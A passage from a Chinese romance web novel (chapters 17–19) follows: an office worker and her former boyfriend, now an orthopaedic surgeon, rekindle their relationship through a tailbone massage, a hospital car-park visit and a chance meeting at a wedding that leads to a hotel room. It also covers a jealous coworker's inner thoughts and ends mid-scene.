但为了周家瑜,她觉得自己还可以忍耐,周家瑜在江城上班,房价居高不下,如果想要在那里买房定居真的很难。 彭月华平时虽然很节省,但是一个人的收入毕竟有限,随着岁月的流逝,周元明这个人她看不上了,但是他的收入她是一直看在眼里的。 自己一直在忍耐他,难不成是喜欢他的繁殖癌还有脚臭吗。 和周元明在一起的女人终于有了身孕,终于有人忍耐不住。 上班期间周家瑜的手机震动,她划开一看,是自己找的私家侦探发过来几张照片,之前彭月华跟自己说不要操心这件事,对于背叛家庭的人,周家瑜觉得自己要知道事情进展。 周元明是守财奴,对自己妻子和孩子如此,对外人更是如此,和李荣在一起后,两个人顶多是吃吃喝喝,还有一起出游买些东西。 周家瑜看着自己手机里的最新照片,李荣正开着新车接送女儿,李荣自己有一套房子,是她上一段婚姻分得的财产。 她前夫跟一个在烧烤店上班的服务员小妹出轨,对方很快就怀孕了,为了要出世的孩子前夫需要离婚另娶,李荣瞅准时机,把两个人结婚时的婚房要到手,最近她又租了一套房子。 把照片又看了一遍,然后关掉手机,周家瑜继续看着电脑屏幕,她顺势向后一仰,感觉尾椎骨有些胀痛,应该是最近久坐导致。 她在网上搜了搜如何才能缓解这种疼痛,办公室开放式设计空间开阔,面积不小人不少,还人来人往,她跑去卫生间试着做了几个动作缓解,好像都没什么效果,也没有起到心理安慰的作用。 在回家的地铁上,她看着对面玻璃上自己模糊失真的脸庞,周围的人大都看着自己手中的手机,地铁运行中,她的身体摇晃完全不受控制,自己和其他人一起融入人海,是这个世界不起眼的背景板。 一起普通着,生活中有这样那样的烦恼。 她在想,要不要趁周末去医院挂个号看医生,虽然她学的专业确实会比较容易得一些职业病,但是现在就有症状是不是有点早。 自己生活的这几年,她越来越在意自己的身体,有任何不舒服都会去医院看看。 跟着人潮下了地铁,站在人满为患的上行扶梯上,天气变冷之后,地铁门口挂上了隔风的门帘,人来人往帘子不断被推开,外面的冷风吹进来直扑扶梯口。 周家瑜出站后又裹了裹脖子上的围巾,她走在人行道上,听着自己鞋子踏在石砖上的声响。 人行道上现在已经挂上了彩灯,让走在路上的行人有种节日空洞的慰藉感,她在路口站定等红绿灯,在想一会回家吃什么晚饭。 刚才走路一个姿势不对好像又扯到尾椎骨,一阵胀胀的痛感,这个时候衣服里的手机震动,她划开屏幕一看,是陶舒朗发来的信息,问她下班回家没有。 看到信息,她突然才想起陶舒朗就是骨科医生这件事。 第17章 第17章谁是俘虏 吃完晚饭周家瑜预约好第二天的医生,这时候陶舒朗发来信息,“刚下手术,这会正在吃晚饭。” 据说骨科手术就像装修现场,叮叮当当响个没完,有时还伴随着血液飞溅,看来丝毫没有影响他的胃口。 周家瑜还没有回复信息,那边又发来一条,“晚饭吃了什么?” 一个人从事再忙的职业,只要他想联系你,总会找到时间联系你,医生即使会间歇性失联,也会在忙完后第一时间去联系你。 周家瑜晚上煮了意大利面,多煮了一些,明天的早餐都备了出来,早上一热就可以吃了。 她看着两个人的对话框在想,自己之前尾椎骨疼痛为什么没有第一时间想到陶舒朗,后来她意识到,自己已经独立惯了,已经到了一出现问题就自己去想办法,而不是找谁来给自己解决这个问题。 意识到这一点之后,她心里先是庆幸,接着又有点怅然。 周末陶舒朗休息一天,这次正好排在了周日,他周六晚上来到周家瑜这里,两个人晚上开车去江城附近去吃一家很有名的韩式烤肉。 回到江城的时候已经晚上九点了,两个人洗漱完各自躺在床上,周家瑜在枕头上歪着头,在搜各种喷雾,她今天吃烤肉的时候种草了烤肉店的喷雾,烤肉是好吃,但吃完衣服上会残留气味,烤肉店前台上摆着的喷雾还挺好用,喷完烤肉味立即消失大半。 周家瑜冬天喜欢一个人在家里吃火锅,火锅味道也不小,她需要一款好用并且没有味道的喷雾。 陶舒朗坐在床的另一侧,他也在看手机,不过他今天没看文献,而是在看一篇探讨两性关系的文章,是他最近关注的一个,这篇文章点击率不低,下面也有很多评论,陶舒朗手指不断下滑,文章含金量说不上高,但是评论里却有不少真知灼见。 他看着那些评论,在想真的是实践出真知,有过经历的人说出来的话就容易引起别人的共鸣。 他眼睛盯着屏幕,眼神专注,好像在沉浸式思考,周家瑜转头看了他一眼,以为他又和往常一样在看文献。 快睡觉的时候,陶舒朗拉开床头柜的抽屉去拿东西,发现最上面有一份检查报告,最上面一栏里,姓名:周家瑜,年龄:27岁。 他拿过来一行一行地认真看完,他转身去看周家瑜,她姿势不变,还在沉浸式刷手机。 周家瑜自在地躺着看手机,感觉旁边一沉,躺了一个人,还轻巧地把自己拉过去抱在怀里,下一秒一份报告出现在自己眼前。 周家瑜现在尾椎骨已经不痛了,它悲催地突然袭来,然后两三天之后又神奇地自愈了。 她闻着陶舒朗身上好闻的味道,说来奇怪,两个人睡觉前用了同一款沐浴露,但好像陶舒朗身上那款更特别。 她把手机放下,想买的东西先在购物车里躺着吧,说不定几天之后那几款东西就降价了,或者自己就不想要了,后者更好,不 买就是省到。 她侧了侧身子,钻进了陶舒朗怀里,两个人穿着同款不同色的睡衣,周家瑜把鼻子放在陶舒朗的领口处,在那专心地闻味道。 周家瑜喜欢自己身上的味道,这是陶舒朗之前就知道的事情,之前两个人在一起的时候周家瑜不止说过一次,还热衷于窝在他怀里一动不动,鼻子有时候还拱来拱去。 他的声音这个时候有一种特别的温柔,“尾骨不舒服吗?” 怀里的人因为正趴在他身上,所以声音听起来有点嗡嗡的,“前几天有点疼,现在已经好了。” “去医院拍个片是为了放心,也没查出什么问题。” 她还想说什么的时候,她的声音突然止住了,陶舒朗的手顺着她的脊柱一路延伸到了尾骨的位置。 “告诉我,之前是什么位置疼。” 骨科医生的手法就是专业,把周家瑜按摩得灵魂都要颤抖起来了,这种身体被专业人士拿捏的感觉有点奇怪又上头。 陶舒朗边用合适的力道按摩,边观察周家瑜的表情,“是这个位置吗?” 周家瑜不想说话,她这会太舒服了,只想哼哼,患者不说话,医生只好自己猜测,“不是这个位置吗?那是这个位置?” 陶舒朗又换了一个位置。 周家瑜抓住陶舒朗的胸口,两个人贴得没有一丝缝隙,陶舒朗一直在健身,有胸肌,但属于穿衣不显,脱衣服会看出来的那种,有肌肉的程度在周家瑜的审美点上,不夸张,恰到好处。 周家瑜的尾骨被揉得感官沿着脊柱四散直达大脑,她感觉自己像被人硬控了。 她既难受又很舒服,想让他停下又想让他继续,几年不见,他变得真的不是一点半点,有时候完全像换了一个人。 陶舒朗一只手把她抱在怀里,一只手揉着她的尾骨,他的手很大,手指和手掌时不时地会接触到其他更有弹性的区域。 周家瑜有点沉迷地闭着眼睛,冷不丁问出,“好摸吗?” 陶舒朗眼里闪过笑意,低头在她嘴唇上轻轻一吻,“嗯,手感很好。” 接着他又语气平静地加了一句,“爱不释手。” 周家瑜嘴角弯起来,眼睛还是闭着,脸上却全是笑意。 揉完之后,陶舒朗又教了她几个拉伸肌肉的动作,其中一个,周家瑜平躺在床上,把左腿打横放在右腿上面,双手抱着右膝盖不断向胸前拉伸,陶舒朗让她体会放松自己大腿后方的感觉。 周家瑜正在沉浸式体会放松的感觉,突然意识到周遭有些安静,陶“医生”的陪练声音不知道什么时候停住了,他这会坐在那,眼睛看着她,眼神变得深邃,两个人已经肌肤相亲过很多次,周家瑜知道他这个眼神的含义。 她又把膝盖往胸口拉低了一些做深呼吸,“陶医生,注意你的眼神,有骚扰病人的嫌疑,我有被冒犯的感觉。” 陶舒朗表情不变,还是一直看着她,对于病人的指控,他只说,“嗯,拉伸得差不多了,现在休息一下。” 接着他附身低头看着她,嘴巴很快就擒住了她的嘴唇,两个人唇齿交缠中,她的身体渐渐躺平放松,两个人紧紧抱在了一起。 身体大面积的厮磨交缠中,陶舒朗的声线不稳,不像他平时的声音,“下次哪里不舒服,先找我好吗?” 周家瑜全身像在火烧,她不想说话,他不断地研磨,像在催促她回答,她只好点了点头,对他来说却远远不够。 “你说好。” “我想听。” 身下传来她发颤的声音,“好。” 两个人抱在一起昏昏欲睡,睡之前周家瑜对他刚才威逼那套还耿耿于怀,问,“我是不是你的俘虏?” 陶舒朗闻言摸了摸她的脸庞,他睁眼看了看天花板,冬夜厚厚的窗帘合着,屋里什么也看不见,他顿了两秒,答道,“不是,我是你的俘虏。” “刚才有什么不适吗?” “有。” “嗯,”陶舒朗这会也觉得自己刚才确实有点趁人之危,他有些理亏,“以后不会这样了。” 随即他又确认,“你刚才答应的还记得吗?” 周家瑜捏住他腰间的肉扭了一下,因为出其不意还有疼痛,他发出嘶的一声。 她还是在他的怀里,在深夜任何人都看不见的地方坦言,“最近几年我好像独立惯了,已经成习惯了,所以我第一时间没有想到你,就想自己去解决这个事情。” “大家都在变化。” “嗯。” 周家瑜问,“你不是一直都是自己处理事情吗,你应该很懂这种感觉。” 闻言,陶舒朗不知道为什么会生出一股深深的酸涩感,他调整着自己的呼吸,想缓解自己这种突然袭来的情绪。 周家瑜轻声说,“我们不都是一样吗?都在努力成为自己最大的依靠。” 陶舒朗的声音有些暗哑,“你说的对。” “我想成为自己的依靠,但我也想成为你的依靠。” 他贴着她的脸,呼出的气息扑到她的脸上,“你的事我都想知道。” 她点头,“嗯。” “但我好像逐渐地不想依靠别人了。” “在你看来会不会有些奇怪?” “不会。” 他的脸磨蹭着她的脸,周家瑜已经感觉到他脸上微刺的胡渣,她伸手摸了摸他的下巴,他的脸在她掌心轻轻地碾磨,像在寻求某种安慰。 他说,“对不起。” 这一句,跨度三年,掺杂了复杂的情绪和情义。 “嗯。” 她突然似有所感,伸手去摸陶舒朗的脸,他却下意识地偏头不让她摸到,周家瑜内心变得无比酸软。 “你靠过来好不好。” 没人回应。 她再次伸手去摸他的脸,这次他没有躲,她摸到了潮湿的脸庞。 她伸手去拿床头柜上的纸巾,然后轻轻地把他脸上的潮湿按掉,每个人都会哭,女人哭,男人也哭,小孩子哭,大人也哭。 大家平等。 周家瑜之前已经在深夜里痛哭过很多次了,现在她的泪水好像只贡献给曲折的电影和电视剧了。 现实中她好像平静或者麻木很久了。 一个人生活不适合有太多的情绪波动,会是一种折磨。 现在,有人在自己身旁流泪,这个人还是陶舒朗,夜深人静的时候,人的脆弱有时候会无所遁形,周家瑜内心酸软,为过去的自己,为现在的他,她握住他的手。 两个人睡觉之前又聊了一会,然后一起沉沉睡去。 第二天一早醒来,又回到了成年人的冷静世界,昨天陶舒朗的深夜流泪好像没有发生过,两个人难得地一起吃了早餐。 之前因为陶舒朗要赶回关城上班,一般周家瑜醒来的时候他就会不见人影,一起入睡的人第二天一早消失,周家瑜再年轻一点可能会觉得对方是不是不够重视自己。 现在,她根本不会这么想,因为她确实希望对方消失,夜里精神身体得到双重满足,第二天她就想一个人待着,重新回到自己的生活步调。 现在这种双城的状态真的是再好不过。 第18章 第18章忙里偷闲 陶舒朗正在开车回关城的路上,清晨霞光四射,因为是冬日,外面虽然风景萧瑟,但是车里播放着他喜欢的音乐,他脑子里不由自主地浮现昨天晚上两个人在一起的场景。 陶舒朗赶紧收回心神,嘴角却弯起来,眼神内敛深邃。 一个人从你的生活中消失然后又出现,虽然距离自己想要的还有一些差距,但是现在已经很好了,是曾经分手后自己不敢去想象的。 虽然一大早就开了两个多小时的车,他到办公室坐定后在电脑前开始整理病历,跟他同一年进医院的关正明看了他一会说,“我最近觉得你有些不对劲。” 陶舒朗头也没抬,“嗯。” 关正明人身高一米七,长相端正敦实,业务能力也很强,但因为家族遗传的多囊肾,恋爱和婚姻一直不顺,他们两个同一批进医院,关正明不免偶尔把自己和陶舒朗进行比较。 尤其现在他们两个现在是骨科科室唯二独身的男医生。 身高是关正明永远的痛,作为男人,他也不得不承认陶舒朗的身高,身材都是自己想要长成的那一款。 偶尔关正明也会安慰自己,陶舒朗长得高,但是手术时需要塌腰,时间长了他可能会腰突,至于自己,有时候虽然需要踩一节小凳子,但是手术中一点也不累腰。 还有家庭背景,关正明家里还有两个姐姐,母亲之前是个民办教师,因为一直没有儿子,竟然有亲戚想把他们的儿子过继给关正明的父母,最后他母亲宁肯因为超生工作被辞退也要把他生下来。 母亲的民办教师职位让他小姨顶了,现在小姨退休了,退休工资还不低,关正明母亲一直务农,平时偶尔才能找到些不看年龄的零工,看到每个月有稳定退休工资的妹妹,说一点不后悔自己都不信,但是自己儿子当了医生,还收入不菲,想想也真是从心底扬眉吐气。 关正明收入不菲,但是来自原生家庭骨子里的节俭还是没变,至于资产,他到现在还没学驾照,平时一辆电动车出入,风雨无阻。 关正明现在有一套正在按揭的房子,还有一张余额每个月都在不断增加的工资卡,办公室的护士大姐知道他能挣又节俭,偶尔会调侃他最近又攒了多少钱。 他和陶舒朗成为同事,陶舒朗几乎从不谈论自己家的事情,但因为是同事,多少也了解了一些,关正明知道陶舒朗母亲大约一年前去世了,因为陶舒朗常跑医院,后来他母亲去世同事们之间也有些人情往来。 他父母是做什么的,关正明不知道,但是肯定比城里的普通工薪阶层强不少,这些从他的吃穿用度和气质上可以看出来一些。 陶舒朗刚入职时填的资料上家庭住址是一个高档小区,平时出入开着一辆二十多万的车,关正明觉得他开再豪气一点的车才更符合自己心中对他的人设。 关正明低头看看自己两千多买的一辆电动车,再想想自己还没还完的房贷,理智又让他回归现实,身边理想中的人设也不香了。 不过他后来发现陶舒朗人很低调也很谦和,天气好的时候也跟自己一样,骑电动车上班。 陶舒朗话不多,但是也不会冷场,有时候大家做手术累了会有一些重口味的段子,他偶尔被调侃的时候也能面不改色地接上一两句。 两个人同一天进骨科,毫不夸张的是,一上午竟然有三个人来问陶舒朗有没有对象。 自小被家里当着宝贝疙瘩,终于成为医生后意气风发的关正明在人来人往的走廊里和外形惹眼的陶舒朗站在一起,第一次体会到被秒杀成背景板的感觉。 古人怎么说来着,对了,既生瑜何生亮。 从那天开始,关正明对陶舒朗的感觉开始有些复杂,既羡慕又嫉妒,内心自卑和自负轮番出现,彻底引发他内心的雄竞意识。 不过倒有一点,现在两个人都是单身,说难听点都是光棍,纵使陶舒朗长得再好,他也跟自己一样单身,关正明有时候有点恶意地想,看陶舒朗整天穿着舒适得体的样子,说不定他性向不明,所以一直保持单身。 自己虽然只有一米七,但是医生在手术台上见的多了,关正明知道自己天赋异禀,不高但是好用,说的就是他这款男人。 他觉得自己还洁身自好,因为他今年三十二了,还是处。男,像他这种男人,现在真的是拿显微镜都找不到。 可能因为工作有时候真的无聊,也可能因为自己都不愿意承认的阴暗面,关正明平时会不由自主地去关注陶舒朗,他收了多少病人,自己收了多少病人,他一个月跟了多少台手术,自己又跟了多少台手术。 因为医生工作很忙,关正明几乎天天能见到陶舒朗,昨天陶舒朗休班,关正明失去了观察对象还有点不适应,今天他一进办公室,关正明就发现他神清气爽,虽然表情上好像看不出端倪,但关正明觉得他心情不错的样子。 可恶,观察对象休班时好像有了性生活。 陶舒朗仍看着电脑屏幕在整理病历,关正明双手撑在他的办公桌前,“你是不是谈对象了。” 他以为陶舒朗又要跟之前一样一脸漠然地说没有,结果他嘴角竟然弯起来,然后说,“没有。” 表情和说的话完全不是两回事。 关正明正想再审他的时候,陶舒朗站起来,问他,“你今天查房了吗?” 他一站起来,关正明感觉那种身高压迫感又来了,引发了他不好的回忆,他赶紧向后退,在过道上给陶舒朗让路。 关正明在想别人给陶舒朗介绍对象他是怎么推辞的呢? 关城官方统计上是三线城市,但关城人都自诩来自十八线小城市,小城人的思想会更保守一些,他们两个作为大龄未婚男青年,应该有点同病相怜的感觉,但实际上并没有。 陶舒朗不喜欢和别人比来比去,他没兴趣,他自己日子都没过明白,也不关心别人如何,自己的事他沉溺其中,别人的事他早已经学会了抽离。 如何不和别人比,专心过自己的日子,答案很简单,突然和伴侣分开就可以学会。 陶舒朗最近的改变不止引起关正明的注意,护士康姐在骨科已经待了很多年,今天康姐带了一些肉松夹心饼干给大家吃。 办公室时不时会有一些零食,陶舒朗之前不喜欢吃零食,后来被周家瑜带的会吃一点,和她分手后他开始吃零食,尤其是他们在一起时周家瑜爱吃的那些。 办公室有人带零食的时候陶舒朗会跟着吃一点,吃完肉松夹心饼干,他觉得口感不错,问康姐在哪里买的,康姐说在网上,听女儿讲好像是什么网红零食。 陶舒朗洗完手后坐在办公椅上,在给饼干外包装袋拍照,拍完之后他在搜同款。 他的一系列动作被康姐看在眼里,陶舒朗浑然不觉,康姐什么也没问,转身笑着带上门出去了。 周家瑜收到陶舒朗信息的时候正在开车,她周五晚上回到关城,彭月华开车去接她,回家的路上周家瑜开车。 因为彭月华在身边,所以周家瑜没有点开信息,彭月华到家后让她也赶紧回去休息。 “周末这两天车放在你那,我这周没什么事情,前天我已经去看过你外婆了。” 周家瑜看着彭月华进了楼道口,她抬头看了看自家的那个楼层,家里没人,窗户一片漆黑。 回住处的路上,周家瑜听着音乐,她看着眼前越来越陌生的故乡,这几年盖的高层一年比一年多,她这会突然很想吃泡面,把车停在路边拿出手机搜了搜,排名第一的那家看着不错。 一看位置好像离市立医院很近,陶舒朗就在那家医院,周家瑜这会才想起还有未读信息,信息是半小时之前发的,“今天在办公室吃到一款饼干,味道不错,记得收件。” 周家瑜在网上见过收集五湖四海新鲜事的朋友,现实生活中都姿也是这样的朋友,两个人经常互相分享一些新鲜事或者好看的电影电视剧。 现在又有一个人,给她搜罗五湖四海的零食。 晚上车子打着双闪停在路边,她在收藏的表情包里划拉了一下,给他回了一个表情包,可爱的绿色苦瓜跳上跳下,又嘴馋又期待的样子。 在韩料店吃完心心念的泡面,周家瑜驱车去了市立医院,她把车停在地下停车场,停车场很大,今天陶舒朗值夜班,她并没有看到他的车。 她给陶舒朗发了一条信息,还配了一张图片,是医院停车场的照片。 发过去下一秒周家瑜的手机响起,接听后那边先是快速走路的声音,接着传来陶舒朗有点气喘的声音,乍一听还莫名地有点性感和撩人,让人想起两个人紧紧抱在一起的时候。 “你现在在停车场吗?” “在。” 电话那边嘱咐,“你不要动,在那等着我。” “好。” 手机那边传来电梯关门下行的声音。 过了一会,地下车库的电梯门打开,一道修长的身影大步走出来,周家瑜眼睛看着停车场中的他。 过了几秒后她摁了一下喇叭,有人循声走过来,他走近的时候车窗降下来,两个人隔着车窗深深地对望,陶舒朗因为出来的急,白大褂下面是薄薄的毛衣,他都没来得及套上一件外套。 周家瑜先反应过来,“你快点上车。” 她把副驾上打包盒拿起来,等陶舒朗上车后再把盒子递给他,刚才一摸,打包袋上还有余温,“一会你吃点宵夜,我刚才去吃了泡面。” 陶舒朗看到了袋子上的店名,之前和同事去那家店吃过几次,“这家店味道不错。” 盒子放在他手里压手,几个人在一起吃也够分量,周家瑜没说,陶舒朗也知道。 陶舒朗伸出胳膊把盒子放在车子后排座位上,下一秒咔哒一声,是周家瑜松开安全带的声音,这个声音像是某种隐秘的信号,他们两个接着就吻在了一起。 不知道是谁开始的,事后她大脑回放也根本没有相关记忆,他们两个用的力道都很大,行为根本就不受自己的控制,两个人的脸像被外力吸在了一起,他们的五官都有些走形。 周家瑜感觉自己的五官好像在被啃噬,冬夜昏暗的停车场,车里是暖融融的,但是亲嘴的力道大到让人觉得有点不真实。 她开始缺氧,身体开始酸软起来,在她看来,男女之间说到底其实就是那点事,但就是那点事,真的让人感觉很复杂。 这时候陶舒朗的手机响了,响了有好一会,感觉那边快挂断的时候陶舒朗才调整好呼吸接起来,手机那头说了几句话就挂掉了。 周家瑜这会嘴巴被磋磨得又麻又痒,“是不是有急事要回去?” “嗯。” 他看着她,抬手摸了摸她的脸庞,“你来看我,我却不能陪你。” 周家瑜没想到他会这么说,她愣了一下,“工作是不可抗力。” 停车场里因为有穿堂风,所以温度很低,陶舒朗不让她下车,周家瑜降下车窗看着他离开,他手里拎着她买的宵夜,离开之前他没忍住,俯下身隔着降下的车窗又吻住了她。 他站直身体大步地向回走,进电梯之前又朝周家瑜挥了挥手,然后消失在门后。 晚上的停车场,两个人见了一面,急急忙忙地亲了个嘴,又分开了。 第19章 第19章偶遇 陶舒朗拎着打包盒上楼,刚才是值班护士给他打的电话,刚收进来一个急诊病人,他放下盒子直接去了诊室。 再回到办公室已经是半个小时之后了,他打开微波炉把饭菜热了热,让几个一块值夜班的一起来吃。 吃完宵夜这会不忙,陶舒朗抓紧时间去值班室眯一会,第二天上午他八点下班,中午有个朋友结婚,让他去现场拍照,他需要早去,婚礼一般来说都专业跟拍的,但是那些拍出来是给亲戚朋友看的,摆拍效果比较精致,但是不够自然。 陶舒朗被拉去拍照,是拍一些比较自然的镜头,是新人拍给自己看并留存的。 他和衣而眠,这样值班有急事直接可以穿上外套去处理,他点开手机,周家瑜已经到家了,也给自己发了信息。 他给她回了两个字,“晚安。” 第二天下班后陶舒朗直接回家,在家门口他看了看对门,他在门口站了一会,想敲门但手又放了下来。 他给她发了一条信息,“醒了没?” 发出去的信息石沉大海,他洗完澡刮完胡子,又换了衣服,把准备拍照用的相机放在包里,离开之前又给周家瑜发了一条信息,“我上午去帮朋友拍照,中午我给你叫外卖,今天比昨天冷,出门记得穿暖和点。” 陶舒朗到了婚礼现场先和新郎吴歧打了招呼,两个人是高中同学,大学去了不同的城市,但毕业后都在关城上班,这个同学在科技局上班,医院项目申报有时候会和科技局打交道,两个人有一次在饭局上重逢,后来就联系了起来,关系还不错。 两个人打完招呼,吴歧去忙之前跟陶舒朗说,“今天来的女生应该不少,你看上哪个跟我说,我给你牵线搭桥。” 又看了看陶舒朗,开玩笑地说,“你还是躲在镜头后面比较好,如果你来当伴郎,不是把我的风头都抢光了。” 酒店有个专门用来办室外婚礼的花园,今天天气冷但是阳光明媚,比较出片,拍照的不止陶舒朗一个,所以他不用紧盯着新人的一举一动,他只需要抓拍一些自然随性的时刻。 吴歧家是做工程的,虽然这两年工程不好干,外面有不少应收账款收不上来,但是家底还在,花园里摆着很多从云南空运过来的鲜花。 这时头顶有几只鸽子咕咕叫着飞过去,陶舒朗每次听见鸽子叫,都会想起小时候在电视剧里看到的鸽子,一群鸽子在胡同上方变换方向灵活地飞着,还有鸽哨的声音,都飞远了,仍余音绕耳。 拍完远去的飞鸽,他放下镜头,打算看照片的时候,他才注意到不远处站着一个人,穿着大衣,围着看上去非常暖和的围巾,正在看着自己。 陶舒朗愣了两三秒钟,回过神来,那人还在,周围有鲜花的香气,还有头顶的艳阳,虽然是在冬日,却让人感觉在盛夏。 陶舒朗站在那里不动,周家瑜走上前去,站在他身前拿过他的相机看他拍的照片,说实话,他刚才拍照的样子有点帅。 不管是谁,专注安静做一件事的时候都会有些迷人。 陶舒朗低头看着她,她身上的香气很好闻,萦绕在自己周围,周家瑜看着照片,抬头看他,两个人的目光交汇,立即触发了一些深处的东西,周家瑜忽略这种触动,只说,“拍得很好。” 又问,“后来学的吗?” “自己有时间的时候自学的。” 周家瑜把相机还给他,她看着不远处拱门下和亲友拍照的新娘,对陶舒朗说,“新娘是我同学,我去跟她打个招呼。” 新娘丛丽是周家瑜和都姿的高中同学,高中同学办婚礼,按照本地传统,不管最后在哪里定居,都会在关城办一场,这种时候周家瑜基本上会和都姿一起出现。 上一次的婚礼,周家瑜突然才想起,有人说陶舒朗继承了一笔数额可观的遗产。 都姿结婚两年了,刚开始觉得还年轻,还可以玩上一两年,几个月之前开始备孕,现在她怀孕了,所以安心在家里养胎,让周家瑜给自己随上份子。 两个人视频聊天时,周家瑜发现都姿脸上是得偿所愿的安心和幸福,边说话,边一直在吃东西。 周家瑜能来,丛丽很高兴,两个人开心地抱了抱,两个人当年做过前后位,周家瑜数学偏科,新娘英语偏科,两个人课间互相补习,有些“战友”情谊在。 新人和周家瑜合照,新娘专门和周家瑜两个人单独合照,周家瑜站在鲜花点缀的拱门下,笑着看跟拍摄影师的镜头,现场一片喜气。 陶刷朗在不远处也拍下了照片,他回放照片,把照片放大,看着周家瑜的笑靥,手指在上面轻触了一下。 丛丽很忙,嘱咐周家瑜今天吃好喝好,又马不停蹄地和别人合照去了,吴歧刚才看到周家瑜,拿出手机给陶舒朗发了一条信息,“哥们,现场有大美女出现,看看是你的菜吗?拱门三点钟方向。” 手机在口袋里震动,陶舒朗读完信息没回复。 吴歧作为新郎,百忙之中还要操心朋友的终身大事,自己都要被感动了,又是 一番合照,拍完之后,吴歧再看,陶舒朗人看不见了,三点钟方向美女也不见了。 外面温度低,周家瑜今天为了参加婚宴,穿了大衣,在外面站了一会感觉有点冷,所以和同学打完招呼直接进了酒店。 丛丽家庭条件也不错,看今天的婚礼布置好像新人两家都不差钱,周家瑜沿着长长的扶梯上楼的时候听见有人说今天的婚宴包下了两个楼层招待和宴请宾客。 上面还有房间供亲朋休息。 周家瑜从小到大参加过不少婚宴,小时候是家长带着去,自己也乐意去,只要乖乖吃完饭就能跑出去玩,参加工作后是不得不参加婚宴,是成年人的社会礼节。 婚宴给人的感觉大都一样,热闹和喜庆,如果同学比较多,还会有煽动人心的起哄。 生活中大多数事情都乏善可陈,有热闹时大家会不由自主地激动起来。 热闹的婚宴过后,周家瑜从复古精致的洗漱间出来,准备走楼梯下楼回家,打卡结束,这次回关城的任务完成,又可以回家过自己普通乏味却安心的日子了。 她下楼的时候突然想起陶舒朗,好像他是自己普通生活中的一个不小的变量。 吃饭的时候她没看见陶舒朗,正在想要不要问他在哪。 跟心有灵犀一样,陶舒朗这时候发来信息,“你在哪?” “二楼东楼梯口。” “等我。” 接着周家瑜听见头上传来下楼的脚步声,抬头一看,果然是陶舒朗。 他脖子上这会没挂着相机,看到周家瑜手里拎着包,他过去很自然地接过来,“你这会要走吗?” “嗯。” “我的相机在房间里,”他看着周家瑜脸上有点睡意,问道,“你要不要上去休息一会再走?” 周家瑜想了想点了点头,她一年到头雷打不动的习惯是,中午吃完饭不一会就要睡午觉,到点不睡午觉会觉得头昏脑涨。 陶舒朗拿出房卡刷卡,他先让周家瑜进门,他关门之前把门把手上的标志牌改为请勿打扰。 屋内沙发旁的茶几上放着相机包,床上一片平整,陶舒朗把包放在沙发上,接着去木柜里拿一次性的拖鞋。 周家瑜有一瞬间好像回到了过去。 两个人在大学谈恋爱的时候,情到深处自然会去开房,两个人那时候如胶似漆,总想待在一起,所以是旅馆的常客。 去酒店价格比较高,出去旅游的时候才会住,他们平时都是去旅馆,两个人都来自普通家庭,上大学的时候拿着普通的生活费,两个人恋爱的时候房费成了一笔不小的开支。 陶舒朗学业课业都很忙,还要和周家瑜在一起谈恋爱,但时间找找总会有的,后来他会做一些兼职,陪诊师,会议志愿者,医学翻译,医学图书校对,帮本科生写毕业论文等。 和周家瑜在一起后他觉得自己有责任要照顾好她,所以两个人开支基本都是他来支付,周家瑜有时候坚持要付钱,也被陶舒朗拉到没人的角落里一通乱摸乱吻结束。 现在周家瑜踩着舒适的拖鞋,站在装修风格内敛克制的房间里,内心有些不平静,连上楼前的那点睡意这会也消失无踪。 她把外套脱掉,挂在味道好闻的衣柜里,回头看见陶舒朗在整理床品,脱掉大衣,周家瑜里面穿得都是修身款,身体线条匀称,身材一览无余。 周家瑜十几岁的时候还有漂亮羞耻症,家里给新买的衣服不太想穿,因为穿出去会有人问,会有人说很漂亮,她就会有突然被别人关注而无所适从的尴尬。 现在她奔三了,已经坦然地接受自己的一切了,好的坏的都是她自己的,她的漂亮,还有她的挫折和失眠。 自己身材好这件事,她之前就知道。 陶舒朗整理完一转头看见周家瑜站在自己面前,“要不要去洗手?” 周家瑜去浴室洗手去了,陶舒朗本来打算整理相机包,他把相机里的内存卡取出来又放了回去,听着浴室的水声,他做着无意识的动作,全世界只有他知道自己的心脏跳得有多快。 周家瑜出来之后走到床前,“我要眯一会,你要不要也眯一会。” 陶舒朗正在整理相机,他让周家瑜先睡。 两个人自重逢以来已经同床共枕过好几次,这会感觉好像有点尴尬似的,周家瑜大多时候都觉得理不清的事情先不要理了,她自己现在要睡觉。 她躺在那里闭着眼睛,感觉屋里有点热,把薄被折到胸口处,在想我就眯一会养神的时候人已经睡着了。 陶舒朗在旁边看着她的睡颜,看了一会也睡着了,他昨天夜班,总共没有睡多长时间。 周家瑜睡了一个半小时后醒过来了,外面太阳依旧明亮,大片金色的阳光洒在床头的墙面上,今天午休睡的时间长,精神也恢复了不少,她在床上活动手脚伸了个懒腰。 一转头旁边躺着一个人,现在正睡得正香。 走廊里传来人说话的声音,还有行李箱滚动的声音,她静悄悄地掀开被子下床,在吧台找到瓶装饮用水,打开之后喝了三分之一。 她看了看床上睡着的陶舒朗,他睡着之后很平静,平时非常有神的眼睛闭着,里面的情绪全都看不见,像个帅气好看的摆件。 周家瑜走到落地窗前,手里拿着水,边喝边看着远处,在自己从小到大的城市住酒店感觉真的有点特别。 下午的阳光斜照进来,她轻轻地把白色纱帘合上,没想到往回走的时候不小心撞到了旁边的茶几。 茶几撞到她膝盖下方,发出嘭的一声,她脸上全是痛意,正揉腿缓解的时候一只手伸过来替她揉了起来,陶舒朗半蹲着,脸上还带着睡意。 “扶着我坐在沙发上。” 揉了一会已经不疼了,周家瑜低头看着陶舒朗挺直的鼻梁还有线条好看的嘴唇,她在想,他真的很会长,即使两个人在一起后又分手,每次看他,她都觉得他还是在自己的审美点上。 陶舒朗抬头想问她还痛不痛的时候,两个人的眼神撞在了一起。 下一秒陶舒朗把她提起来,两个人立即找到了彼此的嘴唇,吻在了一起,陶舒朗抱着她推着她,周家瑜一直向后退,直到退无可退,来到了墙角。 她身后是墙壁上灰色的壁纸,颜色看上去内敛克制,身前却有一个火热的男人。 周家瑜感觉自己脸上和脖颈上下着温柔又磅礴的雨,两个人在用力地唇舌交缠,一轮又一轮,在不断炙热的呼吸中你来我往。 她身前衣服下多了一只不断作乱的手,他的手刚才熟练地绕到后面替她解开了束缚,他的嘴唇这会太忙了,亲她的嘴,亲她的脸,亲她的身体还有撑起衣服去亲她身体上最柔软的部分。 两个人像醉酒一样倒在了床上。 陶舒朗平时看着不胖,但是身高摆在那里,平时还有健身的习惯,周家瑜被结实地压在身下,身上很有压迫感。 